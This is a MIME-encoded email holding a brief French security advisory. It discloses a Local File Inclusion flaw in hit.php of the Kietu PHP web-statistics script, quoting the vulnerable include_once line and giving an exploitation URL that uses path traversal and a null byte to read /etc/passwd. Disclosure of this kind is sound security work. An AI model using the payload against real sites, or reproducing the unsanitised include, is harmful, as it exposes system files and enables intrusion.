------=_Part_561_6971320.1159049290474
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

[::] Produit                 : Kietu

[::] Langage                 : PHP

[::] Description             : Kietu? est un script =E9crit en PHP, qui
requiert une base de donn=E9e mySQL, et qui vous permet de g=E9n=E9rer et
consulter les statistiques d'acc=E8s =E0 votre site web.

[::] Site web officiel       : http://www.Kietu.net/

[::] Page vuln=E9rable         : hit.php

[::] Faille de s=E9curit=E9      : Local File Inclusion

[::] Code vuln=E9rable         : ( Ligne 2 ) -> include_once
$url_hit.'class/kdetect.class.php';

[::] Exploitation            :
http://localhost/kietu/hit.php?url_hit=3D../../../../../etc/passwd%00

@ [::] Cr=E9dit                  : Avis de s=E9curit=E9 par cdg393 ->
cdg393_gmail_com :)

------=_Part_561_6971320.1159049290474
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

[::] Produit          &nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Kietu<br><br>[::] Langage&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp; : PHP<br><br>[::] Description&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Kietu? est un script =E9crit en PHP, q=
ui requiert une base de donn=E9e mySQL, et qui vous permet de g=E9n=E9rer e=
t consulter les statistiques d'acc=E8s =E0 votre site web.
<br><br>[::] Site web officiel&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : <a hre=
f=3D"http://www.Kietu.net/">http://www.Kietu.net/</a><br><br>[::] Page vuln=
=E9rable&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : hit.php<br><br>[=
::] Faille de s=E9curit=E9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Local File Inclu=
sion<br><br>[::] Code vuln=E9rable&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp; : ( Ligne 2 ) -> include_once $url_hit.'class/kdetect.class.php'=
;
<br><br>[::] Exploitation&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; : <a href=3D"http://localhost/kietu/hit.php?url_hit=3D../.=
./../../../etc/passwd%00">http://localhost/kietu/hit.php?url_hit=3D../../..=
/../../etc/passwd%00</a><br><br>@ [::] Cr=E9dit&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
: Avis de s=E9curit=E9 par cdg393 -> cdg393_gmail_com :)

------=_Part_561_6971320.1159049290474--